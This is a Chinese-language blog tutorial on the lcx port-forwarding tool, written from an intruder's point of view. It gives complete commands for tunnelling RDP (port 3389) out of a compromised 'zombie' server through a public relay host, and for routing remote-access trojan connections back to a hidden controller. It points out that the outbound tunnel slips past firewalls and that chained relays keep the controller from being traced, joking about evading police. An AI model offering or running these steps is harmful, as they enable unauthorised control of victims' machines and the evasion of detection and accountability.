1. 程式人生 > >埠轉發工具lcx使用兩類

埠轉發工具lcx使用兩類

 lcx是一款強大的內網埠轉發工具,用於將內網主機開放的內部埠對映到外網主機(有公網IP)任意埠。它是一款命令列工具,當然也可以在有許可權的webshell下執行,正因如此lcx常被認為是一款黑客入侵工具,lcx在內網入侵滲透中起著重要的角色。lcx進行埠轉發的原理就是使不同埠之間形成一個迴路(如圖1)。它常用於外網連線內網3389埠。

  這個工具很早就已經有了,它的全名叫Socket data transport tool,簡寫做trtool,由紅盟聯盟的前輩bkbll所寫,功能和lion寫的htran 1.1版一樣,不過是在linux下使用的而已。所謂的lcx.exe其實是lcx根據lion的程式碼所修改編譯過的htran。現在已經有跨平臺的了,支援在windows、linux下使用。還有一些根據lcx原始碼開發的其他版本,比如jsp版,http隧道版等等。

  下面說一下它的使用以及功能說明:

1 2 3 4 5 6 7 8 9 10 11 12 Usage of Packet Transmit: ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file] ./lcx -about [options:] -listen <local port1>  <local port2> -tran   <local port>   <remote host>  <remote port>
-slave  <remote host1> <remote port1> <remote host2> <remote port2> -hex   : hex mode data dump -text  : text mode data dump -log   : save transfer log

  最常用功能:連線內網的3389

  1. B主機(公網IP:20.30.40.50): lcx -listen 2222 6666

  2222為轉發埠,6666為B主機任意未被佔用的埠

  2. A肉雞伺服器:lcx.exe -slave 20.30.40.50 2222 127.0.0.1 3389

  20.30.40.50為B主機的IP,2222為轉發埠,127.0.0.1為A肉雞內網IP,3389為遠端終端埠

  3. B主機連線A肉雞3389時格式:mstsc 127.0.0.1:6666

   當然,其他主機(C主機,可以在內網中)連線A肉雞伺服器:mstsc 20.30.40.50:6666

  至此,就可以通過lcx埠對映就可以直接連線內網伺服器了。整個連線流程圖大致如下:

  上面的情況中多數是通過跳板主機B來連線肉雞伺服器的,也就是主機C通過連線處於公網中的伺服器B來連線內網伺服器A。上面的連線中,先是肉雞伺服器主動發起向外(主機B)的連線,所以這種情況,防火牆一般是不會攔截的。而且由於跳板機(主機B)只是監聽本地埠,而控制者(主機C)可以在任意網路環境中,所以很難追蹤到控制者的具體位置。如果再加上幾個跳板就很難被查水錶啦:)

  逆向思維:埠轉發實現遠端控制

  基於lcx強大的埠轉發功能,可以通過埠轉發實現將遠端控制的服務端放置的任意網路環境中。  

  1. 配置客戶端上線地址:21.23.10.8 埠:8083

  2. 公網主機執行lcx:lcx -listen 123 8083

  3. 控制端執行:lcx.exe -slave 21.23.10.8 123 127.0.0.1 789  通知設定遠控控制端的監聽埠:789  

  可以看到,這用使用方式和上面的完全相反。控制端使用lcx主動連線公網中的轉發主機,由於肉雞上的客戶端預設是配置主動連線的,所以只要轉發通道是通暢的,客戶端發起的連線都會由轉發主機轉發到控制端的機子上,而無論控制端是否有公網IP。所以說,關鍵的瓶頸就可以這用解決。又由於lcx已經支援跨平臺,所以即使公網主機是Linux系統也可以實現只能在windows上跑的絕大多數遠控軟體。

    關於lcx的使用就簡單介紹到這裡,之後將會對lcx原始碼做一個簡單的分析,部落格將持續更新。。